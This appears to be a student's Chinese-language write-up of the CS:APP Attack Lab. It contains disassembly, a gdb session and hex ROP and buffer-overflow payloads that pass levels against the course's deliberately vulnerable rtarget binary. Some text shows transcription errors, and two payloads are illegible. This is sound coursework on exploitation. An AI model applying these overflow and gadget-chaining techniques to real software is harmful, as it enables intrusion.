

实验 3: Attack Lab

1.准备好实验环境

```
racalia202212063020@THESELECTED3:~$ cd CUC_CSAPP/
racalia202212063020@THESELECTED3:~/CUC_CSAPP$ cd \#3_Attacklab/
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab$ ls
target1
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab$ cd target1/
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ls
README.txt  cookie.txt  ctarg     farm.c    hex2raw   rtarg     et
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ sudo chmod 777 ctarg
et
[sudo] password for racalia202212063020:
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ls
README.txt  cookie.txt  ctarg     farm.c    hex2raw   rtarg
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$
```

2.进行试验

2.1 level1

在汇编代码中找到相应位置

```
00000000004017a8 <getbuf>:
| 4017a8:      48 83 ec 28          sub     $0x28,%rsp
  4017ac:      48 89 e7            mov     %rsp,%rdi
  4017af:      e8 ac 03 00 00      callq  401b60 <Gets>
  4017b4:      b8 01 00 00 00      mov     $0x1,%eax
  4017b9:      48 83 c4 28          add     $0x28,%rsp
  4017bd:      c3                  retq
  4017be:      90                  nop
```

根据课件内容写好攻击代码并进行攻击

[illegible]

2.2 level2

在汇编代码中找到相应位置

```

00000000004017ec <touch2>:
  4017ec:    48 83 ec 08          sub    $0x8,%rsp
  4017f0:    89 fa                mov    %edi,%edx
  4017f2:    c7 05 e0 3c 20 00 02 movl    $0x2,0x203ce0(%rip)    # 6054dc <vle
vel>
  4017f9:    00 00 00
  4017fc:    3b 3d e2 3c 20 00    cmp    0x203ce2(%rip),%edi    # 6054e4 <coe
kie>
  401802:    75 20                jne    401824 <touch2+0x38>
  401804:    be 08 32 40 00      mov    $0x403208,%esi
  401809:    bf 01 00 00 00      mov    $0x1,%edi
  40180e:    b8 00 00 00 00      mov    $0x0,%eax
  401813:    e8 d8 f5 ff ff      callq  400df0 <__printf_chk@plt>
  401818:    bf 02 00 00 00      mov    $0x2,%edi
  40181d:    e8 8b 05 00 00      callq  401dad <validate>
  401822:    eb 1e                jmp     401842 <touch2+0x56>
  401824:    be 30 32 40 00      mov    $0x403230,%esi
  401829:    bf 01 00 00 00      mov    $0x1,%edi
  40182e:    b8 00 00 00 00      mov    $0x0,%eax
  401833:    e8 b8 f5 ff ff      callq  400df0 <__printf_chk@plt>
  401838:    bf 02 00 00 00      mov    $0x2,%edi
  40183d:    e8 2d 06 00 00      callq  401e6f <fail>
  401842:    bf 00 00 00 00      mov    $0x0,%edi
  401847:    e8 f4 f5 ff ff      callq  400e40 <exit@plt>

```

在gdb中找到线索

```
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ gdb ctarget
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -q
Starting program: /home/racalia202212063020/CUC_CSAPP/#3_Attacklab/target1/ctarge
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) info r rsp
rsp          0x5561dca0          0x5561dca0
(gdb) |
```

根据课件内容写好攻击代码并进行攻击

[illegible]

2.3 level3

在汇编代码中找到相应位置

```
0000000000004018fa <touch3>:
4018fa: 53                push    %rbx
4018fb: 48 89 fb          mov     %rdi,%rbx
4018fe: c7 05 d4 3b 20 00 03 movl    $0x3,0x203bd4(%rip)    # 6054dc <vle
vel>
401905: 00 00 00
401908: 48 89 fe          mov     %rdi,%rsi
40190b: 8b 3d d3 3b 20 00 mov     0x203bd3(%rip),%edi    # 6054e4 <coe
kie>
401911: e8 36 ff ff ff    callq   40184c <hexmatch>
401916: 85 c0             test    %eax,%eax
401918: 74 23             je      40193d <touch3+0x43>
40191a: 48 89 da          mov     %rbx,%rdx
40191d: be 58 32 40 00    mov     $0x403258,%esi
401922: bf 01 00 00 00    mov     $0x1,%edi
401927: b8 00 00 00 00    mov     $0x0,%eax
40192c: e8 bf f4 ff ff    callq   400df0 <__printf_chk@plt>
401931: bf 03 00 00 00    mov     $0x3,%edi
401936: e8 72 04 00 00    callq   401dad <validate>
40193b: eb 21             jmp     40195e <touch3+0x64>
40193d: 48 89 da          mov     %rbx,%rdx
401940: be 80 32 40 00    mov     $0x403280,%esi
401945: bf 01 00 00 00    mov     $0x1,%edi
40194a: b8 00 00 00 00    mov     $0x0,%eax
40194f: e8 9c f4 ff ff    callq   400df0 <__printf_chk@plt>
401954: bf 03 00 00 00    mov     $0x3,%edi
401959: e8 11 05 00 00    callq   401e6f <fail>
40195e: bf 00 00 00 00    mov     $0x0,%edi
401963: e8 d8 f4 ff ff    callq   400e40 <exit@plt>
```

根据课件内容写好攻击代码并进行攻击

```
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ vim rtarget.d
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ touch attack3.txt
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ vim attack3.txt
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ./hex2raw < attack3.
txt > attackraw3.txt
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ./rtarget -qi attack
raw3.txt
-bash: ./rtarget: Permission denied
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ chmod 777 rtarget
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ls
README.txt  attack2.txt  attackraw1.txt  attackraw3.txt  ctaraget  hex2raw  rtarget.d
attack1.txt  attack3.txt  attackraw2.txt  cookie.txt      farm.c    rtarget
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ./rtarget -qi attack
raw3.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab    attacklab
    result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD 1A 40 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD 1A 40 0
0 00 00 00 00 00 A2 19 40 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 00 48 00 00 00 00 00 00 00 D
D 19 40 00 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 00 00 D6 19 40 00 00 0
0 00 00 A2 19 40 00 00 00 00 00 00 FA 18 40 00 00 00 00 00 00 35 39 62 39 39 37 66 61
```

根据课件内容写好攻击代码并进行攻击

```
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ vim rtarget.d  
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ touch attack4.txt  
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ vim attack4.txt  
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ./hex2raw < attack4  
.txt > attackraw4.txt  
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ./rtarget -qi attack  
raw4  
Cannot open input file 'attackraw4'  
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ .\rtarget -qi attack  
raw4.txt  
.rtarget: command not found  
racalia202212063020@THESELECTED3:~/CUC_CSAPP/#3_Attacklab/target1$ ./rtarget -qi attack  
raw4.txt  
Cookie: 0x59b997fa  
Touch2!: You called touch2(0x59b997fa)  
Valid solution for level 2 with target rtarget  
PASS: Would have posted the following:  
    user id bovik  
    course 15213-f15  
    lab     attacklab  
    result 1:PASS:0xffffffff:rtarget:2:CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC C  
C CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC AB 19 40 0  
0 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 EC 17 40 00 00 00 00
```